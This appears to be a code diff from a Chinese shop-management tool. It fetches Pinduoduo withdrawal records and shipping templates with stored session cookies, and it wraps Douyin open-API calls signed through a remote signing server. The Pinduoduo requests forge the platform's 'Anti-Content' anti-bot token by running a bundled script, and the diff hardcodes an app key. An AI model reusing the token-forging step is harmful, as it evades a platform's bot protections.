private static string ChooseSpecValue(List<string> lowPriceSpecs, int itemsCount, int itemIndex, string defaultValue)
{
return (lowPriceSpecs != null && lowPriceSpecs.Count == itemsCount && !string.IsNullOrEmpty(lowPriceSpecs[itemIndex])) ? lowPriceSpecs[itemIndex] : defaultValue;
}
}
}
File diff suppressed because it is too large. Load diff
+187
View File
@@ -0,0 +1,187 @@
using AllBase;
using JavaScriptEngineSwitcher.Core;
using JavaScriptEngineSwitcher.V8;
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class WithDrawAmount
{
public static string Name = "提现记录";
public ShopChatBase currentShop;
public static List<DrawAmount> TempShops = new List<DrawAmount>();
public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, IWebProxy proxy = null)
{
string responseText = "";
HttpWebResponse response = null;
try
{
//HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.KeepAlive = true;
request.Accept = "application/json";
//request.Headers.Add("Anti-Content", @"0aoAfxnUgOQoU9dVEHIuLKYezEfQ51QpOcKVg_S0aww9S8dseM_tTxYptgFssmH7wfRCpRvfISyXp-bZ8hcq7ux0Z1kvhFUkfIMk7EsEefUAZS7Jv1vYHm1Cplb4GZ43dSFtKu19dO7snIyL-VRj0JFy0ETKDkf1EdaPbWEu22sZ4s1duGD6WO9lgeS-oTsEwwa9ohcX2E_DG2PggPHqIuxcN_tIthAewaqklSPvPmFwzYxrlo256wd2i74SMvTzGTB--UkZ3gPl5t6K-6IVCz1MDD7WDS9HeoGm4RBmyd0LIpXG400lOfKBvPh-z09PL3_hjiL1KiBCENrs1ANosN35LJ8zhlCRi0YrDxphd8LGJFWDG0LrARGRuMW7d3d4IlWlEKFFMiucGGNlIZqDyExDIMny-8T-KY8fJ8BnNuzWyr");
request.Headers.Add("Anti-Content", antiContent);
//request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36";
request.UserAgent = BaseClass.ChromeUserAgent;
request.ContentType = "application/json;charset=UTF-8";
request.Headers.Add("Origin", @"https://mms.pinduoduo.com");
request.Headers.Add("Sec-Fetch-Site", @"same-origin");
request.Headers.Add("Sec-Fetch-Mode", @"cors");
request.Headers.Add("Sec-Fetch-Dest", @"empty");
request.Referer = referer;
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
request.Headers.Set(HttpRequestHeader.Cookie, cookie);
if (proxy != null)
request.Proxy = proxy;
request.Method = "POST";
request.ServicePoint.Expect100Continue = false;
string body = data;
byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
request.ContentLength = postBytes.Length;
Stream stream = request.GetRequestStream();
stream.Write(postBytes, 0, postBytes.Length);
stream.Close();
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
else responseText = "error," + e.Message;
}
catch (Exception ex)
{
responseText = "error," + ex.Message;
}
if (response != null)
{
if (string.IsNullOrEmpty(responseText))
responseText = ReadResponse(response);
response.Close();
}
Thread.Sleep(50 + Randomx.GetId(100));
return responseText;
}
public static string ReadResponse(HttpWebResponse response)
{
using (Stream responseStream = response.GetResponseStream())
{
Stream streamToRead = responseStream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
}
using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8))
{
return streamReader.ReadToEnd();
}
}
}
public static string getAnti0aon()
{
string anti = "";
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.PinDuoDUo_0ao);
anti = jsEngine.CallFunction("get_anti", "").ToString();
try
{ anti = "0ao" + anti.Substring(3); }
catch { }
}
return anti;
}
public void GetWithDraw()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectWithMoney)
continue;
LogSave.Add(Name, "正在读取店铺"+shop.ShopName+"提现记录");
string url = "https://mms.pinduoduo.com/uranus/api/balance/withdrawList";
string refere = "https://mms.pinduoduo.com/finance/balance";
string data = "{\"size\":10,\"page\":1,\"typeList\":[0,1]}";
string html = Request_mms_pinduoduo_com(url, refere, shop.Cookies, data, getAnti0aon());
//string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
int reusltTotal = BaseRegex.GetIntJson(ref html, "total");
int page = reusltTotal / 10 + (reusltTotal % 10 > 0 ? 1 : 0);
for (int n = 1; n <= page; n++)
{
//非第一页匹配结果
if (n != 1)
{
data = "{\"size\":10,\"page\":"+n+",\"typeList\":[0,1]}";
html = Request_mms_pinduoduo_com(url, refere, shop.Cookies, data, getAnti0aon());
}
//获取所有订单金额
var ordersm = BaseRegex.GetMatchRegex(ref html, @"{[^}]+}");
for (int j = 0; ordersm != null && j < ordersm.Count; j++)
{
string orderItem = ordersm[j].Groups[0].Value;
long createdTime = BaseRegex.GetLongJson(ref orderItem, "createdTime");
long amount= BaseRegex.GetLongJson(ref orderItem, "amount");
int status = BaseRegex.GetIntJson(ref orderItem, "status");
string bankAccountId = BaseRegex.GetStringJson(ref orderItem, "bankAccountId");
string bankAccountName = BaseRegex.GetStringJson(ref orderItem, "bankAccountName");
string bankName = BaseRegex.GetStringJson(ref orderItem, "bankName");
string statusMessage = BaseRegex.GetStringJson(ref orderItem, "statusMessage");
string noteMessage = BaseRegex.GetStringJson(ref orderItem, "noteMessage");
string message = BaseRegex.GetStringJson(ref orderItem, "message");
DrawAmount drawAmount = new DrawAmount();
drawAmount.shopName = shop.ShopName;
drawAmount.name = shop.Name;
drawAmount.status = status;
drawAmount.createTime = new DateTime((Convert.ToInt64(createdTime) * 10000) + 621355968000000000).ToString();
drawAmount.bankAmount = (amount/100M).ToString();
drawAmount.bankCard = bankName +"\r\n"+ bankAccountId.Substring(bankAccountId.Length-4) + "|"+bankAccountName;
drawAmount.bankStatus = statusMessage+"\r\n"+message;
drawAmount.remark = noteMessage;
TempShops.Add(drawAmount);
}
}
}
LogSave.Add(Name, "读取店铺提现记录完成");
}
}
public class DrawAmount
{
public string shopName = "";
public string name = "";
public int status = 0;
public string createTime = "";
public string bankAmount = "";
public string bankCard = "";
public string bankStatus = "";
public string remark = "";
}
public class ShopWithDraw
{
public string shopName = "";
public decimal successAmount = 0M;
public decimal failAmount = 0M;
}
}
+220
View File
@@ -0,0 +1,220 @@
using AllBase;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work
{
public class CostTemplateSet
{
public ShopChatBase Shop;
public static List<CostTemplate> costTemplateList = new List<CostTemplate>();
public static List<CostTemplate> costlateList = new List<CostTemplate>();
public void query()
{
costlateList.Clear();
costTemplateList.Clear();
string html = "";
if (!BaseClass.UseApiFirst)
{
string url = "https://mms.pinduoduo.com/express_inf/cost_template/get_list";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"mallId\":" + Shop.MallId + ",\"pageNo\":1,\"pageSize\":10,\"sourceKey\":\"MMS\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, Shop.Cookies);
//var m = BaseRegex.GetMatchRegex(ref html, @"{[\s]*""costTemplateId"":[\s\S]+?""dispatchCost""[^}]+?}");
var m = BaseRegex.GetMatchRegex(ref html, @"{[\s]*""costTemplateId"":[\s\S]+?""noShipConfig""[\w\W]+?][\s]*}");
for (int j = 0; m != null && j < m.Count; j++)
{
string list = m[j].Groups[0].Value;
CostTemplate costTemplate = new CostTemplate();
costTemplate.shopName = Shop.ShopName;
costTemplate.costTemplateId = BaseRegex.GetLongJson(ref list, "costTemplateId");
costTemplate.costTemplateName = BaseRegex.GetStringJson(ref list, "costTemplateName");
costTemplate.costType = BaseRegex.GetIntJson(ref list, "costType");
costTemplate.provinceId = BaseRegex.GetIntJson(ref list, "provinceId");
costTemplate.cityId = BaseRegex.GetIntJson(ref list, "cityId");
costTemplate.districtId = BaseRegex.GetIntJson(ref list, "districtId");
costTemplate.templateItemId = BaseRegex.GetLongJson(ref list, "templateItemId");
costTemplate.updateTime = BaseRegex.GetLongJson(ref list, "updateTime");
var mcp = BaseRegex.GetMatchRegex(ref list, @"""dispatchFree"":{[\w\W]+?""dispatchCost""");
string mcpStr = mcp[0].Groups[0].Value;
var mc = BaseRegex.GetMatchRegex(ref mcpStr, @"{""province"":([\d]+?)}");
for (int k = 0; mc != null && k < mc.Count; k++)
{
int province = int.Parse(mc[k].Groups[1].Value);
costTemplate.provinceList.Add(province);
}
costTemplate.firstStandard = BaseRegex.GetIntJson(ref list, "firstStandard");
costTemplate.firstCost = BaseRegex.GetIntJson(ref list, "firstCost");
costTemplate.addStandard = BaseRegex.GetIntJson(ref list, "addStandard");
costTemplate.addCost = BaseRegex.GetIntJson(ref list, "addCost");
costTemplate.minCountForDeliveryFree = BaseRegex.GetIntJson(ref list, "minCountForDeliveryFree");
costTemplate.noShipReasonType = BaseRegex.GetIntJson(ref list, "noShipReasonType");
costTemplate.minAmountForDeliveryFree = BaseRegex.GetIntJson(ref list, "minAmountForDeliveryFree");
mc = BaseRegex.GetMatchRegex(ref list, @"""hasMinAmount"":([\w\W]+?),");
if (mc != null && mc.Count > 0)
costTemplate.hasMinAmount = mc[0].Groups[1].Value;
costTemplate.minText = "minCountForDeliveryFree";
costTemplate.buygood = costTemplate.minCountForDeliveryFree.ToString();
if (costTemplate.hasMinAmount == "true")
{
costTemplate.buygood = costTemplate.minAmountForDeliveryFree + "00";
costTemplate.minText = "minAmountForDeliveryFree";
}
mc = BaseRegex.GetMatchRegex(ref list, @"""areaList"":[{""province"":[\d]+?}],""firstStandard""");
for (int k = 0; mc != null && k < mc.Count; k++)
{
string item = mc[k].Groups[0].Value;
int province = BaseRegex.GetIntJson(ref item, "province");
costTemplate.payList.Add(province);
}
mc = BaseRegex.GetMatchRegex(ref list, @"""noShipConfig"":[[\w\W]+?]");
mcpStr = mc[0].Groups[0].Value;
var mcv = BaseRegex.GetMatchRegex(ref mcpStr, @"{""province"":([\d]+),""noShipReasonType"":[\d]+}");
for (int k = 0; mcv != null && k < mcv.Count; k++)
{
int province = int.Parse(mcv[k].Groups[1].Value);
costTemplate.nopayList.Add(province);
}
costTemplateList.Add(costTemplate);
costlateList.Add(costTemplate);
}
}
else
{
string htmlTemplate = new PinduoduoApiGetProduct(Shop).GetLogisticsTemplate();
if (htmlTemplate.Contains("goods_logistics_template_get_response"))
{
// {"goods_logistics_template_get_response":{"total_count":2,"logistics_template_list":[{"free_deliver_house":false,"template_name":"123","cost_template_list":[],"free_deliver_house_area_list":[],"cost_type":0,"province_id":3,"sf_free_type":0,"template_id":135941251406166,"district_id":3404,"additional_service_type":null,"free_province_list":[{"province":"北京市","province_id":2},{"province":"安徽省","province_id":3},{"province":"福建省","province_id":4},{"province":"广东省","province_id":6},{"province":"广西壮族自治区","province_id":7},{"province":"贵州省","province_id":8},{"province":"河北省","province_id":10},{"province":"河南省","province_id":11},{"province":"黑龙江省","province_id":12},{"province":"湖北省","province_id":13},{"province":"湖南省","province_id":14},{"province":"吉林省","province_id":15},{"province":"江苏省","province_id":16},{"province":"江西省","province_id":17},{"province":"辽宁省","province_id":18},{"province":"山东省","province_id":22},{"province":"山西省","province_id":23},{"province":"陕西省","province_id":24},{"province":"上海市","province_id":25},{"province":"四川省","province_id":26},{"province":"天津市","province_id":27},{"province":"云南省","province_id":30},{"province":"浙江省","province_id":31},{"province":"重庆市","province_id":32}],"city_id":3401},{"free_deliver_house":false,"template_name":"12345","cost_template_list":[],"free_deliver_house_area_list":[],"cost_type":0,"province_id":3,"sf_free_type":0,"template_id":135853330403670,"district_id":3404,"additional_service_type":null,"free_province_list":[{"province":"安徽省","province_id":3}],"city_id":3401}],"request_id":"15876283275836320"}}
JObject jObj = JObject.Parse(htmlTemplate);
var jArr = jObj["goods_logistics_template_get_response"]["logistics_template_list"] as JArray;
if (jArr != null)
{
foreach (var item in jArr)
{
string str = item.ToString();
CostTemplate costTemplate = new CostTemplate();
costTemplate.shopName = Shop.ShopName;
costTemplate.costTemplateId = AllBase.BaseRegex.GetLongJson(ref str, "template_id"); // 模板编号
costTemplate.costTemplateName = AllBase.BaseRegex.GetStringJson(ref str, "template_name"); // 模板名称
costTemplate.costType = AllBase.BaseRegex.GetIntJson(ref str, "cost_type"); // 模板付费类型
costTemplate.provinceId = AllBase.BaseRegex.GetIntJson(ref str, "province_id"); // 发货省编号
costTemplate.cityId = AllBase.BaseRegex.GetIntJson(ref str, "city_id"); // 发货市编号
costTemplate.districtId = AllBase.BaseRegex.GetIntJson(ref str, "district_id"); // 发货区编号
//costTemplate.templateItemId = AllBase.BaseRegex.GetLongJson(ref str, "templateItemId");
//costTemplate.updateTime = BaseRegex.GetLongJson(ref str, "updateTime");
// 包邮地区
var provinceArr = item["free_province_list"] as JArray;
if (provinceArr != null)
{
foreach (var freeProvince in provinceArr)
{
try
{
int province = Convert.ToInt32(freeProvince["province_id"]);
costTemplate.provinceList.Add(province);
//costTemplate.provinceNameList.Add(freeProvince["province"].ToString());
}
catch { }
}
}
costTemplate.firstStandard = AllBase.BaseRegex.GetIntJson(ref str, "first_standard"); // 首件
costTemplate.firstCost = AllBase.BaseRegex.GetIntJson(ref str, "first_cost"); // 首件或首重邮费价格,单位为分
costTemplate.addStandard = AllBase.BaseRegex.GetIntJson(ref str, "add_standard"); // 续重或续件
costTemplate.addCost = AllBase.BaseRegex.GetIntJson(ref str, "add_cost"); // 续件或续重邮费价格,单位为分
costTemplate.minCountForDeliveryFree = AllBase.BaseRegex.GetIntJson(ref str, "have_free_min_count"); // 对不包邮地区,满足指定件数包邮,该值为商家设置的指定件数,若为 - 1则商家没有开启满足件数包邮
costTemplate.minAmountForDeliveryFree = AllBase.BaseRegex.GetIntJson(ref str, "have_free_min_amount"); // 对不包邮地区,满足指定价格包邮,该值为商家设置的指定订单金额,若为 - 1则商家没有开启满足指定价格包邮,注意,单位为分
//costTemplate.noShipReasonType = AllBase.BaseRegex.GetIntJson(ref str, "noShipReasonType"); // 不包邮原因 API接口暂不支持
var mc = AllBase.BaseRegex.GetMatchRegex(ref str, @"""is_have_free_min_amount"":([\w\W]+?),");
if (mc != null && mc.Count > 0)
costTemplate.hasMinAmount = mc[0].Groups[1].Value.StartsWith("true") ? "true" : "false";
costTemplate.minText = "minCountForDeliveryFree";
costTemplate.buygood = costTemplate.minCountForDeliveryFree.ToString();
if (costTemplate.hasMinAmount == "true")
{
//costTemplate.buygood = costTemplate.minAmountForDeliveryFree + "00";
costTemplate.minText = "minAmountForDeliveryFree";
}
// 邮费配送地区
mc = AllBase.BaseRegex.GetMatchRegex(ref str, @"""areaList"":[{""province"":[\d]+?}],""firstStandard""");
var costProvinceArr = item["cost_template_list"] as JArray;
if (costProvinceArr != null)
{
foreach (var costProvinceItem in costProvinceArr)
{
string costStr = costProvinceItem.ToString();
int provinceId = AllBase.BaseRegex.GetIntJson(ref costStr, "province_id");
costTemplate.payList.Add(provinceId);
}
}
// 不配送地区 API接口暂不支持
//mc = BaseRegex.GetMatchRegex(ref list, @"""noShipConfig"":[[\w\W]+?]");
//mcpStr = mc[0].Groups[0].Value;
//var mcv = BaseRegex.GetMatchRegex(ref mcpStr, @"{""province"":([\d]+),""noShipReasonType"":[\d]+}");
//for (int k = 0; mcv != null && k < mcv.Count; k++)
//{
// int province = int.Parse(mcv[k].Groups[1].Value);
// costTemplate.nopayList.Add(province);
//}
costlateList.Add(costTemplate);
costTemplateList.Add(costTemplate);
}
}
}
Thread.Sleep(1000);
}
}
}
public class CostTemplate
{
public string shopName = "";
public long costTemplateId = 0;
public long templateItemId = 0;
public string costTemplateName = "";
public int costType = 0;
public int provinceId = 0;
public int cityId = 0;
public int districtId = 0;
public long updateTime = 0;
public List<int> provinceList = new List<int>();
public int firstStandard = 0;
public int firstCost = 0;
public int addStandard = 0;
public int addCost = 0;
public int minCountForDeliveryFree = 0;
public int noShipReasonType = 0;
public int minAmountForDeliveryFree = 0;
public string hasMinAmount = "false";
public string minText = "";
public string buygood = "";
public List<int> payList = new List<int>();
public List<int> nopayList = new List<int>();
}
}
+401
View File
@@ -0,0 +1,401 @@
using AllBase;
using AllBase.Model.Result;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.DouyinApiClass
{
public class DouyinApi
{
public Dictionary<string, string> Data = new Dictionary<string, string>();
public Dictionary<string, string> JsonData = new Dictionary<string, string>();
public DouShopLoginInfo Shop = null;
public string Type, Name;
public static string Gate = "https://openapi-fxg.jinritemai.com/";
public DouyinApi(DouShopLoginInfo shop)
{
Shop = shop;
}
public string GetDataDouyin()
{
return "";
}
public string GetFreightTemplateList()
{
Type = "freightTemplate.list";
string html = GetData();
return html;
}
/// <summary>
/// 获取店铺的已授权品牌列表
/// </summary>
/// <returns></returns>
public string shopBrandList()
{
Type = "shop.brandList";
string html = GetData();
return html;
}
/// <summary>
///类目品牌列表
/// </summary>
/// <returns></returns>
public string cateBrandList()
{
Type = "brand.list";
string html = GetData();
return html;
}
public string GetCateProperty()
{
Type = "product.getCateProperty";
string html = GetData();
return html;
}
public string GetCatePropertyV2()
{
Type = "product.getCatePropertyV2";
string html = GetData();
return html;
}
public string GetShopCategory(int cid)
{
Type = "shop.GetShopCategory";
JsonData.Add("cid", cid.ToString());
string html = GetData();
return html;
}
public string GetUploadVideo()
{
Type = "material.uploadVideoAsync";
string html = GetData();
return html;
}
public string GetProperty()
{
Type = "product.getCateProperty";
string html = GetData();
return html;
}
public string GetAdd()
{
Type = "product.addV2";
string html = GetData();
return html;
}
public string GetProductList()
{
Type = "product.listV2";
string html = GetData();
return html;
}
public string SetProductOnline()
{
Type = "product.setOnline";
string html = GetData();
return html;
}
public string SetProductOffline()
{
Type = "product.setOffline";
string html = GetData();
return html;
}
public string GetResultUpdateRule()
{
Type = "product.getProductUpdateRule";
string html = GetData();
return html;
}
public string SetProductStock()
{
Type = "sku.syncStock";
string html = GetData();
return html;
}
public string DeleteProduct()
{
Type = "product.del";
string html = GetData();
return html;
}
public string GetProductEdit()
{
Type = "product.editV2";
string html = GetData();
return html;
}
public string GetProductDetail()
{
Type = "product.detail";
string html = GetData();
return html;
}
public string GetEditStock()
{
Type = "sku.syncStock";
string html = GetData();
return html;
}
public string GetEditPrice()
{
Type = "sku.editPrice";
string html = GetData();
return html;
}
/// <summary>
/// 创建图片文件夹
/// </summary>
/// <returns></returns>
public string GetCreateFolder()
{
Type = "material.createFolder";
string html = GetData();
return html;
}
/// <summary>
/// 查询图片文件夹
/// </summary>
/// <returns></returns>
public string GetSearchFolder()
{
Type = "material.searchFolder";
string html = GetData();
return html;
}
/// <summary>
/// 查询图片文件夹
/// </summary>
/// <returns></returns>
public string GetSearchMaterial()
{
Type = "material.searchMaterial";
string html = GetData();
return html;
}
/// <summary>
/// 上传图片
/// </summary>
/// <returns></returns>
public string GetUploadImageSync()
{
Type = "material.uploadImageSync";
string html = GetData();
return html;
}
/// <summary>
/// 批量上传图片
/// </summary>
/// <returns></returns>
public string GetBatchUploadImageSync()
{
Type = "material.batchUploadImageSync";
string html = GetData();
return html;
}
public string MaterialDeleteFolder()
{
Type = "material.deleteFolder";
string html = GetData();
return html == null ? "" : html;
}
public string MaterialDeleteMaterial()
{
Type = "material.deleteMaterial";
string html = GetData();
return html == null ? "" : html;
}
/// <summary>
/// 获取类目资质证书
/// </summary>
/// <returns></returns>
public string GetQualificationConfig()
{
Type = "product.qualificationConfig";
string html = GetData();
return html;
}
/// <summary>
/// 罗盘店铺信息open api
/// </summary>
/// <returns></returns>
public string GetStatData()
{
Type = "compass.GetStatData";
string html = GetData();
return html;
}
public string GetDataJson()
{
StringBuilder stringBuilder = new StringBuilder();
foreach (string current in JsonData.Keys)
{
stringBuilder.AppendFormat((stringBuilder.Length > 0) ? ",\"{0}\":\"{1}\"" : "\"{0}\":\"{1}\"", current, JsonData[current].ToString());
}
string json = "{" + stringBuilder.ToString() + "}";
return json;
}
public string GetDataSignPara()
{
StringBuilder stringBuilderData = new StringBuilder();
foreach (string current in Data.Keys)
{
if (current == "access_token" || current == "sign" || current == "param_json")
continue;
stringBuilderData.AppendFormat((stringBuilderData.Length > 0) ? ",\"{0}\":\"{1}\"" : "\"{0}\":\"{1}\"", current, Data[current].ToString());
}
string param = "{" + stringBuilderData.ToString() + "}";
return param;
}
public string GetDataFxgPara()
{
StringBuilder stringBuilderData = new StringBuilder();
foreach (string current in Data.Keys)
{
stringBuilderData.AppendFormat((stringBuilderData.Length > 0) ? "&{0}={1}" : "{0}={1}", current, Data[current]?.ToString());
}
string param = stringBuilderData.ToString();
return param;
}
public string GetData()
{
#region 获取接口数据
string json = GetDataJson();
json = HttpUtility.UrlEncode(json, Encoding.UTF8);
#endregion
#region 获取sign
string timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
Data["app_key"] = Shop.AppKey;
Data["timestamp"] = timestamp;
Data["method"] = Type;
Data["v"] = "2";
//Data["sign"] = "";
string param = GetDataSignPara();
string url = BaseClass.BuildObjString("sign&act=signature");
string data = UserLogin.GetSignaturex() + "&param_json=" + "" + json + ""
+ "&params=" + param;
if (Shop.ShopAccount == "权益服务齐全的专营店")
url = "http://new.qixiaoke.com/index.php?obj=douyin/sign&act=signature_boe";
string html = GetHtml.PostUtf8(url, data);
string sign = BaseRegex.GetStringJson(ref html, "sign");
for (int i = 0; i < 5 && (string.IsNullOrEmpty(sign)); i++)
{
html = GetHtml.PostUtf8(url, data);
sign = BaseRegex.GetStringJson(ref html, "sign");
}
#endregion
#region 提交抖店
Data["param_json"] = json;
Data["access_token"] = Shop.AccessToken;
Data["sign"] = sign;
string fxgPara = GetDataFxgPara();
string urlx = "https://openapi-fxg.jinritemai.com/" + Type.Replace(".", "/");
if (Shop.ShopAccount == "权益服务齐全的专营店")
urlx = "https://openapi.jinritemai.com/" + Type.Replace(".", "/");
string datax = fxgPara;
string htmlx = GetHtml.PostUtf8(urlx, datax);
int retryTime = 0;
while (!htmlx.Contains("\"code\":10000") && retryTime < 3)
{
System.Threading.Thread.Sleep(500);
if (htmlx.Contains("非法的参数"))
htmlx = GetHtml.PostUtf8(urlx, datax);
retryTime++;
}
return htmlx;
#endregion
}
public string AddFreightTemplateListByBuyApi()
{
Type = "freightTemplate.create";
string html = GetBuyApiData();
return html;
}
public string GetFreightTemplateListByBuyApi()
{
Type = "freightTemplate.list";
string html = GetBuyApiData();
return html;
}
public string GetDouyinAddressAreaByBuyApi(string province_id)
{
if (string.IsNullOrEmpty(province_id) || province_id == "0")
Type = "address.getProvince";
else
Type = "address.getAreasByProvince";
JsonData["province_id"] = province_id;
string html = GetBuyApiData();
return html;
}
public string GetBuyApiData()
{
#region 获取接口数据
string json = GetHtml.UrlEncodeUtf8(GetDataJson());
// string timestamp = BaseClass.DateTimeToTimestampSeconds(DateTime.Now).ToString();
//json = HttpUtility.UrlEncode(json, Encoding.UTF8);
#endregion
#region 获取sign
string timestamp = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss");
Data["app_key"] = "7016502755254683171"; //Shop.AppKey;
Data["timestamp"] = timestamp;
Data["method"] = Type;
Data["v"] = "2";
string param = GetHtml.UrlEncodeUtf8(GetDataSignPara());
string url = "http://103.90.155.35:54" + (new Random().Next(10, 20)) + "/sign.php?act=signature";
//string url = BaseClass.DouYinBuildObjString("sign&act=signature");
string data = UserLogin.GetSignaturex() + "&param_json=" + json + ""
+ "&params=" + param + "&service=2";
string html = GetHtml.PostUtf8(url, data);
string sign = BaseRegex.GetStringJson(ref html, "sign"); // "c4df970da7f412d4dc7f5f9e0ee1b0e8"
#endregion
#region 提交抖店
Data["param_json"] = json;
Data["access_token"] = Shop.BuyApiAuth.AccessToken;
Data["sign"] = sign;
string fxgPara = GetDataFxgPara();
string urlx = "https://openapi-fxg.jinritemai.com/" + Type.Replace(".", "/") + "?app_key=7016502755254683171&timestamp=" + timestamp +
"&method=" + Type + "&v=2&param_json=" + json + "&access_token=" + Shop.BuyApiAuth.AccessToken + "&sign=" + sign;
string datax = fxgPara;
string htmlx = GetHtml.PostUtf8(urlx, datax);
return htmlx;
#endregion
}
}
}
File diff suppressed because it is too large. Load diff
+472
View File
@@ -0,0 +1,472 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Work.GoodDetail
{
public class Category_detail
{
/// <summary>
///
/// </summary>
public int first_cid { get; set; }
/// <summary>
///
/// </summary>
public int second_cid { get; set; }
/// <summary>
///
/// </summary>
public int third_cid { get; set; }
/// <summary>
///
/// </summary>
public int fourth_cid { get; set; }
/// <summary>
/// 女装
/// </summary>
public string first_cname { get; set; }
/// <summary>
/// T恤
/// </summary>
public string second_cname { get; set; }
/// <summary>
///
/// </summary>
public string third_cname { get; set; }
/// <summary>
///
/// </summary>
public string fourth_cname { get; set; }
}
public class Spec_picsItem
{
/// <summary>
///
/// </summary>
public long spec_detail_id { get; set; }
/// <summary>
///
/// </summary>
public string pic { get; set; }
}
public class Customs_report_info
{
/// <summary>
///
/// </summary>
public string hs_code { get; set; }
/// <summary>
///
/// </summary>
public int first_measure_qty { get; set; }
/// <summary>
///
/// </summary>
public int second_measure_qty { get; set; }
/// <summary>
///
/// </summary>
public string first_measure_unit { get; set; }
/// <summary>
///
/// </summary>
public string second_measure_unit { get; set; }
/// <summary>
///
/// </summary>
public string unit { get; set; }
/// <summary>
///
/// </summary>
public string report_name { get; set; }
/// <summary>
///
/// </summary>
public string report_brand_name { get; set; }
/// <summary>
///
/// </summary>
public string usage { get; set; }
/// <summary>
///
/// </summary>
public string g_model { get; set; }
/// <summary>
///
/// </summary>
public string bar_code { get; set; }
}
public class Spec_pricesItem
{
/// <summary>
///
/// </summary>
public long sku_id { get; set; }
/// <summary>
///
/// </summary>
public long out_sku_id { get; set; }
/// <summary>
///
/// </summary>
public string outer_sku_id { get; set; }
/// <summary>
///
/// </summary>
public List<long> spec_detail_ids { get; set; }
/// <summary>
///
/// </summary>
public int stock_num { get; set; }
/// <summary>
///
/// </summary>
public int price { get; set; }
/// <summary>
///
/// </summary>
public string code { get; set; }
/// <summary>
///
/// </summary>
public int settlement_price { get; set; }
/// <summary>
///
/// </summary>
public int step_stock_num { get; set; }
/// <summary>
///
/// </summary>
public int prom_stock_num { get; set; }
/// <summary>
///
/// </summary>
public int prom_step_stock_num { get; set; }
/// <summary>
///
/// </summary>
public long spec_detail_id1 { get; set; }
/// <summary>
///
/// </summary>
public long spec_detail_id2 { get; set; }
/// <summary>
///
/// </summary>
public long spec_detail_id3 { get; set; }
/// <summary>
///
/// </summary>
public int sku_type { get; set; }
/// <summary>
///
/// </summary>
public string supplier_id { get; set; }
/// <summary>
///
/// </summary>
public string promotion_stock_num { get; set; }
/// <summary>
///
/// </summary>
public string promotion_step_stock_num { get; set; }
/// <summary>
///
/// </summary>
public Customs_report_info customs_report_info { get; set; }
/// <summary>
///
/// </summary>
public int lock_stock_num { get; set; }
/// <summary>
///
/// </summary>
public int lock_step_stock_num { get; set; }
/// <summary>
///
/// </summary>
public string stock_num_map { get; set; }
}
public class ValuesItem
{
/// <summary>
///
/// </summary>
public long id { get; set; }
/// <summary>
///
/// </summary>
public long spec_id { get; set; }
/// <summary>
/// 黑色
/// </summary>
public string name { get; set; }
/// <summary>
///
/// </summary>
public long pid { get; set; }
/// <summary>
///
/// </summary>
public int is_leaf { get; set; }
/// <summary>
///
/// </summary>
public int status { get; set; }
}
public class SpecsItem
{
/// <summary>
///
/// </summary>
public long id { get; set; }
/// <summary>
///
/// </summary>
public long spec_id { get; set; }
/// <summary>
/// 颜色分类
/// </summary>
public string name { get; set; }
/// <summary>
///
/// </summary>
public long pid { get; set; }
/// <summary>
///
/// </summary>
public int is_leaf { get; set; }
/// <summary>
///
/// </summary>
public List<ValuesItem> values { get; set; }
}
public class Logistics_info
{
/// <summary>
///
/// </summary>
public int customs_clear_type { get; set; }
/// <summary>
///
/// </summary>
public int origin_region_id { get; set; }
/// <summary>
///
/// </summary>
public int source_region_id { get; set; }
/// <summary>
///
/// </summary>
public int brand_region_id { get; set; }
/// <summary>
///
/// </summary>
public int tax_payer { get; set; }
/// <summary>
///
/// </summary>
public int net_weight_qty { get; set; }
}
public class Data
{
/// <summary>
///
/// </summary>
public long product_id { get; set; }
/// <summary>
///
/// </summary>
public string product_id_str { get; set; }
/// <summary>
///
/// </summary>
public long out_product_id { get; set; }
/// <summary>
///
/// </summary>
public string outer_product_id { get; set; }
/// <summary>
///
/// </summary>
public int open_user_id { get; set; }
/// <summary>
/// jeep吉普运动凉鞋男夏季2021新款外穿休闲软底防汗男士沙滩凉拖鞋
/// </summary>
public string name { get; set; }
/// <summary>
///
/// </summary>
public string description { get; set; }
/// <summary>
///
/// </summary>
public int market_price { get; set; }
/// <summary>
///
/// </summary>
public int discount_price { get; set; }
/// <summary>
///
/// </summary>
public int status { get; set; }
/// <summary>
///
/// </summary>
public long spec_id { get; set; }
/// <summary>
///
/// </summary>
public int check_status { get; set; }
/// <summary>
